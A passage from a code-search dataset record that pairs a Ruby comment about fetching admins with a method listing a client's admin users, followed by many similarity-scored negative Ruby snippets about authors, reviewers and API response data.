:nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:NameDescription, :by_author, :user => user)\n show_selected_name_descriptions(query)\n end\n end", "def who_assigned_this_todo\n assigner = User.find_by_id(self.added_by)\n return assigner.name\n end", "def digest\n @title\n end", "def digest\n @title\n end" ]
[ "0.57573503", "0.5661803", "0.55977404", "0.55977404", "0.5587524", "0.5585778", "0.55594635", "0.55303", "0.5473246", "0.54642594", "0.54571205", "0.54489654", "0.54016453", "0.5393717", "0.5393545", "0.5384417", "0.5375331", "0.5365639", "0.5353112", "0.5305779", "0.5301214", "0.5283511", "0.5279718", "0.5260739", "0.52552444", "0.5243345", "0.5220161", "0.52041715", "0.5192243", "0.51830375", "0.51694137", "0.51659596", "0.51638824", "0.5162233", "0.51580656", "0.51550955", "0.51389563", "0.5133756", "0.5131559", "0.5120744", "0.51077193", "0.5105656", "0.50657564", "0.5059932", "0.5059932", "0.50504535", "0.50445837", "0.50393504", "0.5038087", "0.5038087", "0.5036878", "0.5030879", "0.5027297", "0.5017467", "0.5008451", "0.500839", "0.5005003", "0.49870348", "0.4973634", "0.49709326", "0.49682316", "0.49640077", "0.49605355", "0.49541572", "0.4950737", "0.49487993", "0.49467462", "0.49323294", "0.4930164", "0.49279937", "0.4922854", "0.4911874", "0.49089938", "0.49072397", "0.4905843", "0.49044725", "0.48954752", "0.48928055", "0.48847893", "0.48820865", "0.48761106", "0.48724145", "0.48710573", "0.48663452", "0.4865688", "0.48645934", "0.48620602", "0.48597634", "0.48595724", "0.4857589", "0.48542887", "0.48533982", "0.4852294", "0.48506805", "0.484515", "0.4844299", "0.4842111", "0.48398164", "0.48370644", "0.48342204", "0.48342204" ]
0.0
-1
fetch normal admins Author: Aman Date: 03/05/2018 Reviewed By:
def fetch_admins admin_objs = Admin.not_deleted.where(default_client_id: @client_id).order({id: :desc}).all admin_objs.each do |admin| @admin_user_count += 1 @curr_page_data << { id: admin.id, name: admin.name, email: admin.email, status: admin.status, role: admin.role } end @can_invite_new_user = (@admin.role == GlobalConstant::Admin.super_admin_role && @admin_user_count < 20) ? true : false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_admins\n self._get_reviewers(\"admin\")\n end", "def attribution\n user = roles.creator.first&.user\n user = roles.administrator.not_creator.first&.user if user.blank?\n return [] if user.blank?\n\n text = user&.name(false)\n orcid = user.identifier_for_scheme(scheme: 'orcid')\n if orcid.present?\n text += format(' - <strong>ORCID:</strong> <a href=\"%{orcid_url}\" target=\"_blank\">%{orcid}</a>',\n orcid_url: orcid.value, orcid: orcid.value_without_scheme_prefix)\n end\n text\n end", "def author\n [author_developer.name_and_email, author_date, author_date_gmt_offset]\n end", "def mods_display_name\n fetch(:author_struct, [])\n end", "def author_names\n names = []\n users.each do |user|\n names << user.fullname\n end\n names\n end", "def author\n ['@',self.user.id, self.user.name.split().join].join('-')\n end", "def name_descriptions_by_author # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:NameDescription, :by_author, :user => user)\n show_selected_name_descriptions(query)\n end\n end", "def reviewers\n \n reviewers = self.board_design_entry_users.dup\n reviewers.delete_if { |bde_user| !bde_user.role.reviewer? || bde_user.role.manager? }\n return reviewers.sort_by { |m| m.role.display_name }\n \n end", "def authors\n space_users.all({ :role.not => :member }).collect { |m| m.user }\n end", "def get_author()\n @author\n end", "def author\n return User.find(self.user_id).user_name\n end", "def author\n @author\n end", "def author\n\t\t@author\n\tend", "def by_author\n user = find_obj_or_goto_index(\n model: User, obj_id: params[:by_author].to_s,\n index_path: name_descriptions_path\n )\n return unless user\n\n query = create_query(:NameDescription, :by_author, user: user)\n show_selected_name_descriptions(query)\n end", "def admins\n contributors.where(admin: true)\n end", "def admins\n [self.user.email, self.user_annotation_shares.can_edit, User.where(admin: true).pluck(:email)].flatten.uniq\n end", "def author\n @author ||= begin\n UnfuddleAPI::People.find(self[:author_id]).username\n rescue\n ''\n end\n end", "def admins\n [self.user.email, self.study_shares.can_edit, User.where(admin: true).pluck(:email)].flatten.uniq\n end", "def get_author\n\t\t# TODO\n\t\tauthor_id\n\tend", "def\n get_author()\n @author\n end", "def author_name\n object.anonymous? ? '匿名用户' : object.author.name_or_login\n end", "def get_author()\n return @author\n end", "def author\n # data = QuestionsDatabase.instance.execute(\"SELECT fname, lname FROM questions\")\n User.find_by_user_id(@author_id)\n\n end", "def author\n User.find_by_id(users_id)\n end", "def author\n \"#{user.name} (#{user.login})\"\n end", "def get_author\n \tUser.find(author_id)\n \tend", "def author; User.get(self.author_id); end", "def admin_name(last_acted_by, admin)\n last_acted_by = last_acted_by.to_i\n if (last_acted_by > 0)\n admin[:name]\n elsif (last_acted_by == Admin::AUTO_APPROVE_ADMIN_ID)\n GlobalConstant::Admin.auto_approved_admin_name\n else\n ''\n end\n end", "def show\n\n @creator = \"unknown\"\n @modifier = \"unknown\"\n \n @collection = Collection.find(@mlog_entry.collection_id)\n @accession = Accession.find(@mlog_entry.accession_id)\n\n if @mlog_entry.created_by != nil then @creator = User.find(@mlog_entry.created_by).email end\n if @mlog_entry.modified_by != nil then @modifier = User.find(@mlog_entry.modified_by).email end\n end", "def show\n @user_author = User.find_by_id(@materiallink.user_id)\n @user_author_name = @user_author.username\n end", "def author\n user\n end", "def author\n @info[:Author]\n end", "def author\n User.find_by_id(@user_id)\n end", "def authors\n author\n end", "def resolved_author; end", "def getAuthorName\n\t\treturn User.find(self.user_id).username\n\tend", "def author\n @author_data ||= read(\"/user/#{@author}/about.json\", :handler => \"User\")\n end", "def author; @author; end", "def author; @author; end", "def show_authors(result)\n author_array = []\n if result['Items'].present?\n flag = 0\n authorString = []\n result['Items'].each do |item|\n if item['Group'].present?\n if item['Group'] == \"Au\"\n # let Don and Michelle know what this cleaner function does\n newAuthor = processAPItags(item['Data'].to_s)\n # i'm duplicating the semicolor - fix\n newAuthor.gsub!(\"<br />\", \"; \")\n authorString.push(newAuthor)\n flag = 1\n end\n end\n end\n if flag == 1\n return truncate_article authorString.join(\"; \").html_safe\n end\n end\n contributors = result.fetch('RecordInfo', {}).fetch('BibRecord', {}).fetch('BibRelationships', {}).fetch('HasContributorRelationships', [])\n if not contributors.empty?\n contributors.each do |contributor|\n namefull = contributor.fetch('PersonEntity', {}).fetch('Name', {}).fetch('NameFull', nil)\n if namefull\n url_vars = {\"q\" => '\"' + namefull.gsub(\",\", \"\").gsub(\"%2C\", \"\").to_s + '\"', \"search_field\" => \"author\"}\n link2 = generate_next_url_newvar_from_hash(url_vars)\n author_link = '<a href=\"' + request.fullpath.split(\"?\")[0] + \"?\" + link2 + '\">' + namefull.to_s + '</a>'\n author_array.push(author_link)\n end\n\n end\n return author_array.join(\"; \").html_safe\n end\n return ''\n end", "def author_info\n self.authors.map(&:full_name).join(', ')\n end", "def author \n user.firstname + ' ' + user.lastname\n end", "def info_for_edit_page\n @is_super_adm = is_super?\n\n if @is_super_adm\n # Loading Choosing of adm\n @admins = User.admins_list\n\n if @admins.empty?\n @mentors = [@admins]\n else\n employee = @user.client.employee\n if employee.present?\n @admins_cur = employee.employee_id\n @mentors_cur = @user.client.employee_id\n else\n @admins_cur = params[:administrator_id]\n @mentors_cur = 0\n end\n @mentors = User.mentors_list(@admins_cur, additional_users: User.all_local_admins)\n end\n elsif current_user.local_admin?\n @mentors = User.mentors_list(current_user.role_model.id, additional_users: [current_user])\n @mentors_cur = @user.client.employee_id\n end\n end", "def getMaintainer(maintainer)\n data = CLIENT.user(maintainer)\n return data\nend", "def location_descriptions_by_author # :nologin: :norobots:\n if user = params[:id] ? find_or_goto_index(User, params[:id].to_s) : @user\n query = create_query(:LocationDescription, :by_author, :user => user)\n show_selected_location_descriptions(query)\n end\n end", "def author\n author = self[:author] || ''\n\n if author.present?\n @author ||= Infopark::Crm::Contact.search(params: { login: author }).first\n @author ||= Infopark::Crm::Contact.search(params: { email: author }).first\n end\n end", "def author\n response = read(\"/user/#{@author}/about.json\", :handler => \"User\") if @author\n @author_data ||= response[0] if response\n end", "def authors\n\t\t\t@db.js('musicthoughts.top_authors(NULL)')\n\t\tend", "def author_name\n h Settings.author_name\n end", "def author\n User.find(self.user_id)\n end", "def author_name\n self.author.name if author \n end", "def author\n self.user\n end", "def author_name\n user_data.name || login\n end", "def author_full_name\n self.author.full_name\n end", "def created_by\r\n\t\t\t \t\"Lachezar Kostov and Dimitar Bakardzhiev\"\r\n\t\t end", "def other_administrators\n Administrator.where.not(['id = ? or is_super = ?',self.id, true]).order(:organisation).map {\n |t| ['%{org}: %{lname} %{name}'%{org: t.organisation, lname: t.info.last_name, name: t.info.name},t.id]\n }\n end", "def author\n @title_pages.each { |tp| tp.author and return tp.author }\n nil\n end", "def seller\n author\n end", "def author\n User.find_by_id(self.author_id)\n end", "def index\n @admin_tags = @login_author.tags\n end", "def author\n \"#{user.firstname} #{user.lastname}\"\n end", "def author_name\n if author\n author.full_name\n else\n 'No Author Found'\n end\n end", "def get_visible_assistants(viewer_user)\n user_list = if viewer_user.eql?(creator)\n users.select(:id, :name)\n elsif (viewer_user.public_or_following_creator?(self))\n # TODO: ORDER THIS\n users.select(:id, :name, :is_private).collect { |user| \n user if (user.is_public? || viewer_user.following?(user))\n }.compact\n end\n\n return user_list\n end", "def administrators\n adminrole = Role.find(:first, :conditions => \"#{self.class.primary_key}=#{self.id} AND name='Administrator'\")\n adminrole ?\n adminrole.users.select{|u| u.company==self} : nil\n end", "def authors\n if self.channel.generator == 'Twitter'\n return [@item.title.split(':')[0]]\n end\n [@item.author, ((@item.dc_creators.empty?) ? nil : @item.dc_creators.collect{|c| c.content})].flatten.uniq.compact.reject{|au| au == '' || au.match(/^\\s+$/)}\n end", "def reviewer_list\n\n reviewers = []\n design_review_results =\n DesignReviewResult.find_all_by_design_review_id(self.id)\n\n design_review_results.each do |dr_result|\n reviewer = User.find(dr_result.reviewer_id)\n reviewers << reviewer.email if reviewer.active?\n end\n \n return reviewers.uniq\n\n end", "def show\n @user_consults = Consult.joins(:user).where(user_id: params[:ud]).select(:id, :user_id, :content, :status, :unread, :admin_reply, :admin_id, 'users.nickname').page(params[:page]).per(params[:per])\n end", "def authored_names # :nologin: :norobots:\n query = create_query(:Name, :with_descriptions)\n show_selected_names(query)\n end", "def author\n if not user.present? or (user.first_name.blank? and user.last_name.blank?)\n \"Anonymous\"\n else\n [user.try(:first_name), user.try(:last_name)].reject(&:blank?).join(' ')\n end\n end", "def author_exuid\n author && author.to_param\n end", "def searchauthor\n end", "def author\n page.version.author.name\n end", "def to_s\n author_name\n end", "def author\n object.user\n end", "def getAuthors(metaEls, role)\n result = metaEls.map { |el|\n if el.name == \"organization\"\n { name: el.text, organization: el.text }\n elsif %w{author editor advisor}.include?(el.name)\n data = { name: formatAuthName(el) }\n el.children.each { |sub|\n text = sub.text.strip\n next if text.empty?\n data[(sub.name == \"identifier\") ? (sub.attr('type') + \"_id\").to_sym : sub.name.to_sym] = text\n }\n data && !data[:name].nil? ? data : nil\n else\n raise(\"Unknown element #{el.name.inspect} within UCIngest authors\")\n end\n }.select{ |v| v }\n role != \"author\" and result.each { |data| data[:role] = role }\n return result\nend", "def created_by\r\n\t\t\treturn \"Laura OMalley\"\r\n\t\tend", "def author_name\n author.full_name if author\n end", "def reviewed_by\n return @reviewed_by\n end", "def author\n user || OpenStruct.new({\n :nicename => external_author_name,\n :email => \"%s@%s\" % [external_author_id, Doers::Config.app_id]\n })\n end", "def author_name\n if self.author\n self.author.name\n else\n nil\n end\n end", "def author() headers['author'] end", "def users_by_name # :norobots:\n if is_in_admin_mode?\n query = create_query(:User, :all, by: :name)\n show_selected_users(query)\n else\n flash_error(:permission_denied.t)\n redirect_to(action: \"list_rss_logs\")\n end\n end", "def reveal_author(nick)\n case nick\n when 'lddev' then 'MM'\n when '1bardesign' then 'Geti'\n when 'flieslikeabrick' then 'FliesLikeABrick'\n else I18n.news_fetcher.someone\n end\n end", "def user_of_comment\n comment = Comment.find(self)\n if !comment.nil?\n admin = Admin.find(comment.admin_id)\n if !admin.nil?\n admin.first_name << \" \" << admin.last_name\n end\n end\n end", "def author_name\n self.author ? self.author.name : nil \n end", "def author_name\n self.author ? \"#{self.author}\" : 'Anonymous'\n end", "def possible_reviewers\n if self.reviewer.include?(\"/\")\n org, team = self.reviewer.split(\"/\", 2)\n access_token = integration_access_token(\n installation_id: self.repository.installation.github_id\n )\n context = { access_token: access_token }\n result = Graphql::Github.team_members(\n org: org,\n team: team,\n context: context\n )\n result.data.organization.team.members.nodes.map(&:login)\n elsif self.reviewer.match?(/^\\d+$/)\n team_members = github_client.team_members(self.reviewer)\n team_members.map(&:login)\n else\n # it's just a single user\n Array(self.reviewer)\n end\n end", "def authors\n @authors\n end", "def reviewer_list\n\n reviewers = []\n design_review_results =\n DesignReviewResult.find_all_by_design_review_id(self.id)\n\n design_review_results.each do |dr_result|\n reviewer = User.find(dr_result.reviewer_id)\n reviewers << reviewer.email if reviewer.active?\n end\n\n return reviewers.uniq\n\n end", "def author_string\n auth = nil\n if authors.size > 0 # Build based on People \n case authors.size\n when 1\n auth = authors.first.last_name # self.author\n when 2 \n auth = authors.map(&:last_name).join(\" & \")\n when 3...100\n auth = authors[0..-1].map(&:last_name).join(\", \") + \" & \" + authors.last.last_name\n end\n else # Build based on string\n auth = self.author\n end\n auth\n end", "def author_name\n self.author ? self.author.name : nil\n end", "def admin_names\n extract_mentioned_screen_names(message)\n end", "def author_login\r\n user.login if user\r\n end", "def author_names\n\t\treturn self.authors.map do |author|\n\t\t\tauthor[ /^(.*?) </, 1 ]\n\t\tend\n\tend", "def author\n @author ||= Readability::Document.new(@html).author\n end", "def author\n @author ||=\n convert_content(item_attributes!.author) ||\n convert_content(item_attributes!.creator) ||\n \"\"\n end", "def author\n @author ||= get_author\n end", "def author\n commenter.try(:name)\n end", "def show\n @user_author = User.find_by_id(@materialpicture.user_id)\n @user_author_name = @user_author.username\n end", "def get_author\n\t\treturn Account.find(self.account_id)\n\tend", "def owners\n get_user_with_role(:owner)\n end" ]
[ "0.6662955", "0.6633926", "0.6613804", "0.6562823", "0.6477282", "0.6415453", "0.6395146", "0.63915116", "0.63783455", "0.63680047", "0.6360578", "0.6352775", "0.63430667", "0.63223124", "0.63193387", "0.6306201", "0.6306187", "0.62977344", "0.62870693", "0.6261089", "0.626066", "0.62553406", "0.6254583", "0.6249744", "0.62450796", "0.62447727", "0.6223516", "0.6204683", "0.62038887", "0.619948", "0.618657", "0.6178755", "0.61654645", "0.61503994", "0.6133928", "0.61337996", "0.61064786", "0.61040425", "0.61040425", "0.60743594", "0.6070909", "0.60626334", "0.60477334", "0.6029434", "0.6013175", "0.5985971", "0.5984944", "0.5973378", "0.59681404", "0.5957139", "0.59563494", "0.5954776", "0.59517336", "0.5942993", "0.5932665", "0.5929464", "0.59163827", "0.5914592", "0.59139115", "0.590897", "0.59031147", "0.58966285", "0.58898103", "0.58622116", "0.585963", "0.5856005", "0.5852256", "0.584628", "0.5830759", "0.5828744", "0.5826764", "0.58259887", "0.5825858", "0.58254594", "0.58176744", "0.5817143", "0.5814693", "0.58141905", "0.58122444", "0.58065206", "0.57999754", "0.57877487", "0.5786994", "0.57865065", "0.5780706", "0.5777317", "0.577624", "0.5775734", "0.5768506", "0.5764571", "0.5756588", "0.5747211", "0.5746861", "0.5740386", "0.57296705", "0.5722167", "0.57203025", "0.5720291", "0.5714306", "0.5707814", "0.57040894" ]
0.0
-1
Set API response data Author: Aman Date: 03/05/2018 Reviewed By:
def set_api_response_data meta = { page_payload: { } } data = { meta: meta, result_set: 'admin_user_list', admin_user_list: @curr_page_data, can_invite_new_user: @can_invite_new_user.to_i } @api_response_data = data end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_api_response_data\n users_list = []\n @users.each do |u|\n ukd = @user_kyc_details[u.id]\n ukd_present = ukd.present?\n users_list << {\n user_id: u.id,\n case_id: ukd_present ? @user_kyc_details[u.id].id : 0,\n email: u.email,\n registration_timestamp: u.created_at.to_i,\n is_kyc_submitted: ukd_present.to_i,\n whitelist_status: ukd_present ? @user_kyc_details[u.id].whitelist_status : nil,\n action_to_perform: action_to_perform(ukd)\n }\n end\n\n meta = {\n page_number: @page_number,\n total_records: @total_filtered_users,\n page_payload: {\n },\n page_size: @page_size,\n filters: @allowed_filters,\n sortings: @sortings,\n }\n\n data = {\n meta: meta,\n result_set: 'users_list',\n users_list: users_list\n }\n\n @api_response_data = data\n\n end", "def response_metadata=(_); end", "def assign_back_office_data(response)\n @flbt_type = response[:flbt_type]\n @srv_code = response[:service_code]\n @version = response[:tare_version]\n @submitted_date = response[:submitted_date]\n @effective_date = response[:effective_date]\n @filing_date = response[:filing_date]\n @number_of_buyers = response[:no_of_buyers].to_i\n @ads_included = (response[:ads_included] == 'Y')\n @ads_amount = response[:ads_amount]\n end", "def set_attributes\n # (needed) set title\n if @data['title'] then\n @title = @data['title']\n else\n raise \"This post (#{@id}) miss a title\"\n end\n # (needed) set author\n if @data['author'] then\n @author_name = @data['author']\n elsif @infos[:author_name]\n @author_name = @infos[:author_name]\n else\n @author_name = 'unknown'\n end\n if @data['email'] then\n @author_email = @data['email']\n else\n @author_email = @infos[:author_email]\n end\n # (needed) set published, if found nowhere, use filename date\n if @data['published'] then\n @published = Time.at(@data['published'])\n elsif @infos[:published]\n @published = @infos[:published]\n else\n @published = Time.mktime(@year, @month, @day)\n end\n # (optional) set last modification date\n @last_modified = @infos[:last_modified] if @infos[:last_modified]\n # (optional) set last modification author name\n @last_author_name = @infos[:last_author_name] if @infos[:last_author_name]\n # (optional) set last modification author email\n @last_author_email = @infos[:last_author_email] if @infos[:last_author_email]\n end", "def set_api_response_data\n\n @logs_ars.each do |l_ar|\n # Frontend needs action data only for action kyc_issue_email_sent_action\n data_hash = (l_ar.action == GlobalConstant::UserActivityLog.kyc_issue_email_sent_action && l_ar.e_data.present?) ? LocalCipher.new(activity_log_decyption_salt).decrypt(l_ar.e_data).data[:plaintext] : {}\n admin_detail = (@admin_details.present? && l_ar.admin_id.present?) ? @admin_details[l_ar.admin_id] : {}\n activity_data = data_hash\n humanized_action_data = {}\n\n if l_ar.action == GlobalConstant::UserActivityLog.kyc_issue_email_sent_action\n activity_data.each do |issue_key, issue_val|\n humanized_key = issue_key.to_s.humanize\n humanized_action_data[humanized_key] = nil\n\n if issue_key.to_s != GlobalConstant::UserKycDetail.other_issue_admin_action_type\n humanized_action_data[humanized_key] = issue_val.map {|x| x.humanize}.join(\", \")\n end\n end\n end\n\n @curr_page_data << {\n created_at_timestamp: Util::DateTimeHelper.get_formatted_time(l_ar.action_timestamp),\n agent: admin_detail['name'].to_s,\n action: l_ar.action,\n action_data: activity_data,\n humanized_action_data: humanized_action_data\n }\n end\n\n meta = {\n page_number: @page_number,\n page_payload: {\n },\n page_size: @page_size,\n total_records: @total_action_logs,\n }\n\n data = {\n meta: meta,\n result_set: 'admin_logs',\n admin_logs: @curr_page_data\n }\n\n @api_response_data = data\n end", "def response=(response); @response = response end", "def update_updated_at_and_by\n #logger.info { \"FILTTERISSÄ: #{response.headers[\"Status\"]}\" }\n if response.headers[\"Status\"] =~ /^20/\n @collection.set_update_info(DateTime.now, (@user ? @user.guid : @client.id))\n # @collection.updated_at = DateTime.now\n # @collection.updated_by = @user ? @user.guid : @client.id\n # @collection.save\n\n end\n end", "def cud_response_to_qa(data)\n resp = {}\n data['attributes'].each do |field|\n if Cud.fields.has_key?(field[\"name\"])\n resp[Cud.fields[field[\"name\"]]] = field[\"value\"]\n end\n end\n # Data['attributes'] no longer has affiliation information. They are passed seperately\n aff = []\n if data.fetch('affiliations', nil) && data['affiliations'].any?\n data['affiliations'].each do |field|\n # field has the following keys - source, affiliation, status, startDate, endDate, lastUpdated, dateAdded\n # The affiliations have endDate. If endDate < today - 1 year, we should not use that affiliation\n endDate = Time.parse(field['endDate'][\"$date\"]) rescue nil\n if field['source'] != \"UAS_DARS\" && endDate && endDate > Time.now.ago(1.year)\n aff.push(field[\"affiliation\"])\n end\n end\n end\n if !aff.empty?\n val = aff.max_by(&:length)\n resp[\"current_affiliation\"] = val\n else\n resp[\"current_affiliation\"] = \"\"\n end\n #TODO: If there are no affiliations, we should not use that person\n resp\n end", "def author() headers['author'] end", "def initialize(data)\n @response = data\n @id = data[\"id\"]\n @name = data[\"name\"]\n @market = data[\"market\"]\n @alias = data[\"alias\"]\n @reference = data[\"reference\"]\n @efficiency = data[\"efficiency\"]\n @first_downs = data[\"first_downs\"]\n @interceptions = data[\"interceptions\"]\n @touchdowns = data[\"touchdowns\"]\n @possession_time = data.dig('summary', \"possession_time\")\n @avg_gain = data.dig('summary', \"avg_gain\")\n @safeties = data.dig('summary', \"safeties\")\n @turnovers = data.dig('summary', \"turnovers\")\n @play_count = data.dig('summary', \"play_count\")\n @rush_plays = data.dig('summary', \"rush_plays\")\n @total_yards = data.dig('summary', \"total_yards\")\n @lost_fumbles = data.dig('summary', \"lost_fumbles\")\n @penalty_yards = data.dig('summary', \"penalty_yards\")\n @return_yards = data.dig('summary', \"return_yards\")\n end", "def fill_with_data(data)\n if data.include? \"id\"\n @id = data[\"id\"]\n end\n if data.include? \"project\"\n @project = data[\"project\"]\n end\n if data.include? \"customer\"\n @customer = data[\"customer\"]\n end\n if data.include? \"token\"\n @token = data[\"token\"]\n end\n if data.include? \"url\"\n @url = data[\"url\"]\n end\n if data.include? \"authorized\"\n @authorized = data[\"authorized\"]\n end\n if data.include? \"name\"\n @name = data[\"name\"]\n end\n if data.include? \"currency\"\n @currency = data[\"currency\"]\n end\n if data.include? \"return_url\"\n @return_url = data[\"return_url\"]\n end\n if data.include? \"cancel_url\"\n @cancel_url = data[\"cancel_url\"]\n end\n if data.include? \"custom\"\n @custom = data[\"custom\"]\n end\n if data.include? \"sandbox\"\n @sandbox = data[\"sandbox\"]\n end\n if data.include? \"created_at\"\n @created_at = data[\"created_at\"]\n end\n \n self\n end", "def set_api_console_data(api_console_data)\n @api_console_data = CompanyApi::Response::Entity::ApiConsoleData.new(api_console_data)\n end", "def fill_header(response); end", "def set_attrs_from_response(response)\n unless response.body.nil? || (response.body.length < 2)\n json = self.class.parse_json(response.body)\n set_attrs(json)\n end\n end", "def prepare_response(response)\n response\n end", "def show\n# authorize_staff unless api_request?\n\n @fundamental_announcement = Fundamental::Announcement.find(params[:id])\n \n last_modified = @fundamental_announcement.updated_at\n\n render_not_modified_or(last_modified) do\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fundamental_announcement, methods: [ :author_name ] }\n end\n end\n end", "def set_data_in_details\n json_data.provision_details_hash!\n end", "def success_response(api_response, response)\n @response_details = response[:create_pickup_reply]\n end", "def set_retrieved(doc, request, modified)\n doc[\"retrieved\"] = {\n from: request.url,\n at: Time.now,\n modifiedAccordingToASNApi: modified\n }\n doc\nend", "def response_data=(hash = {})\n response_data.merge!(hash)\n end", "def fill_with_data(data)\n if data.include? \"id\"\n @id = data[\"id\"]\n end\n if data.include? \"project\"\n @project = data[\"project\"]\n end\n if data.include? \"brand\"\n @brand = data[\"brand\"]\n end\n if data.include? \"type\"\n @type = data[\"type\"]\n end\n if data.include? \"bank_name\"\n @bank_name = data[\"bank_name\"]\n end\n if data.include? \"level\"\n @level = data[\"level\"]\n end\n if data.include? \"iin\"\n @iin = data[\"iin\"]\n end\n if data.include? \"last_4_digits\"\n @last_4_digits = data[\"last_4_digits\"]\n end\n if data.include? \"exp_month\"\n @exp_month = data[\"exp_month\"]\n end\n if data.include? \"exp_year\"\n @exp_year = data[\"exp_year\"]\n end\n if data.include? \"metadata\"\n @metadata = data[\"metadata\"]\n end\n if data.include? \"sandbox\"\n @sandbox = data[\"sandbox\"]\n end\n if data.include? \"created_at\"\n @created_at = data[\"created_at\"]\n end\n \n self\n end", "def author\n response = read(\"/user/#{@author}/about.json\", :handler => \"User\") if @author\n @author_data ||= response[0] if response\n end", "def review_show_data\n review = Review.find(params[:review])\n\n @data = {\n user_name: review.user.full_name,\n user_id: review.user.id,\n user_email: review.user.email,\n org_name: review.user.organization.name,\n org_id: review.user.organization.id,\n vendor_name: review.vendor.name,\n vendor_id: review.vendor.id,\n rating: review.rating,\n public_review: review.review_content,\n private_review: review.review_private_content,\n private_review_permission: private_review_permission(review.user),\n logo_link: review.user.organization.logo_link,\n days_ago: review.days_old\n }\n\n render json: @data\n end", "def parse_api\n\t\t@api_data_on_electeds[\"results\"].map do |info|\n\t\t\tfirst_name = info[\"first_name\"]\n\t\t\tlast_name = info[\"last_name\"]\n\t\t\temail = info[\"oc_email\"]\n\t\t\tphone = info[\"phone\"]\n\t\t\ttwitter = info[\"twitter_id\"]\n\t\tputs \"Your elected official is #{first_name} #{last_name}. Their email is #{email} and you can call them at #{phone}. Also send them a tweet at @#{twitter}!\"\n\tend\nend", "def faux_api_response\n api_response_data = [\n {\n \"id\" => \"col-aaaaa\",\n \"resource_type\" => \"collaboration\",\n \"url\" => \"https://api.gb1.brightbox.com/1.0/user/collaborations/col-aaaaa\",\n \"status\" => \"rejected\",\n \"email\" => \"invitee@example.com\",\n \"role\" => \"admin\",\n \"created_at\" => \"2013-08-13T11:59:24Z\",\n \"started_at\" => nil,\n \"finished_at\" => \"2013-08-13T13:21:58Z\",\n \"role_label\" => \"Collaborator\",\n \"user\" => nil,\n \"account\" => {\n \"id\" => \"acc-aaaaa\",\n \"resource_type\" => \"account\",\n \"url\" => \"https://api.gb1.brightbox.com/1.0/accounts/acc-aaaaa\",\n \"name\" => \"System account\",\n \"status\" => \"active\"\n },\n \"inviter\" => {\n \"id\" => \"usr-54321\",\n \"resource_type\" => \"user\",\n \"url\" => \"https://api.gb1.brightbox.com/1.0/users/usr-54321\",\n \"name\" => \"Marie Halvorson\",\n \"email_address\" => \"marie@example.com\"\n }\n },\n {\n \"id\" => \"col-bbbbb\",\n \"resource_type\" => \"collaboration\",\n \"url\" => \"https://api.gb1.brightbox.com/1.0/user/collaborations/col-bbbbb\",\n \"status\" => \"pending\",\n \"email\" => \"invitee@example.com\",\n \"role\" => \"admin\",\n \"created_at\" => \"2013-08-13T11:59:24Z\",\n \"started_at\" => nil,\n \"finished_at\" => nil,\n \"role_label\" => \"Collaborator\",\n \"user\" => nil,\n \"account\" => {\n \"id\" => \"acc-aaaaa\",\n \"resource_type\" => \"account\",\n \"url\" => \"https://api.gb1.brightbox.com/1.0/accounts/acc-aaaaa\",\n \"name\" => \"System account\",\n \"status\" => \"active\"\n },\n \"inviter\" => {\n \"id\" => \"usr-54321\",\n \"resource_type\" => \"user\",\n \"url\" => \"https://api.gb1.brightbox.com/1.0/users/usr-54321\",\n \"name\" => \"Marie Halvorson\",\n \"email_address\" => \"marie@example.com\"\n }\n },\n {\n \"id\" => \"col-ccccc\",\n \"resource_type\" => \"collaboration\",\n \"url\" => \"https://api.gb1.brightbox.com/1.0/user/collaborations/col-ccccc\",\n \"status\" => \"pending\",\n \"email\" => \"invitee@example.com\",\n \"role\" => \"admin\",\n \"created_at\" => \"2013-08-13T11:59:24Z\",\n \"started_at\" => nil,\n \"finished_at\" => nil,\n \"role_label\" => \"Collaborator\",\n \"user\" => nil,\n \"account\" => {\n \"id\" => \"acc-bbbbb\",\n \"resource_type\" => \"account\",\n \"url\" => \"https://api.gb1.brightbox.com/1.0/accounts/acc-bbbbb\",\n \"name\" => \"System account\",\n \"status\" => \"active\"\n },\n \"inviter\" => {\n \"id\" => \"usr-54321\",\n \"resource_type\" => \"user\",\n \"url\" => \"https://api.gb1.brightbox.com/1.0/users/usr-54321\",\n \"name\" => \"Marie Halvorson\",\n \"email_address\" => \"marie@example.com\"\n }\n }\n ]\n # Collection#load is private in fog so we can't just pass our collection\n # into get the correct object initialised.\n api_response_data.map do |datum|\n Fog::Brightbox::Compute::UserCollaboration.new(datum)\n end\n end", "def api_response\n @response\n end", "def set_headers # :nodoc:\n {\n 'User-Agent' => \"twm-ruby-#{VERSION}\",\n 'Content-Type' => 'application/json; charset=utf-8',\n 'Accept' => 'application/json'\n }\n end", "def v2_api_response\n user_attributes = self.attributes.only(:id, :email, :first_name, :last_name, :company, :job_title, :phone_number, :webpage, :type, :address_1, :address_2, :city, :state, :zip, :country, :mobile, :fax, :designer_firm, :designer_name, :my_products_count)\n user_attributes.merge! :is_premium => self.premium?, :avatar => ([:thumb, :small, :large].collect do |kind| { kind => self.avatar(kind).to_s } end)\n if self.premium?\n user_attributes.merge! :firm => self.firm.attributes.only(:id, :name, :logo, :tier_id)\n end\n user_attributes\n end", "def fill_with_data(data)\n if data.include? \"id\"\n @id = data[\"id\"]\n end\n if data.include? \"project\"\n @project = data[\"project\"]\n end\n if data.include? \"url\"\n @url = data[\"url\"]\n end\n if data.include? \"name\"\n @name = data[\"name\"]\n end\n if data.include? \"amount\"\n @amount = data[\"amount\"]\n end\n if data.include? \"currency\"\n @currency = data[\"currency\"]\n end\n if data.include? \"metadata\"\n @metadata = data[\"metadata\"]\n end\n if data.include? \"request_email\"\n @request_email = data[\"request_email\"]\n end\n if data.include? \"request_shipping\"\n @request_shipping = data[\"request_shipping\"]\n end\n if data.include? \"return_url\"\n @return_url = data[\"return_url\"]\n end\n if data.include? \"cancel_url\"\n @cancel_url = data[\"cancel_url\"]\n end\n if data.include? \"sandbox\"\n @sandbox = data[\"sandbox\"]\n end\n if data.include? \"created_at\"\n @created_at = data[\"created_at\"]\n end\n \n self\n end", "def update_value\n # I don't know why it isn't working with HTTPI\n # Putting these exact fields into HTTPI fails and this works correctly so...\n url = \"#{@credential.sentinelone_url}#{ANALYST_VERDICT_URL}#{@action}\"\n uri = 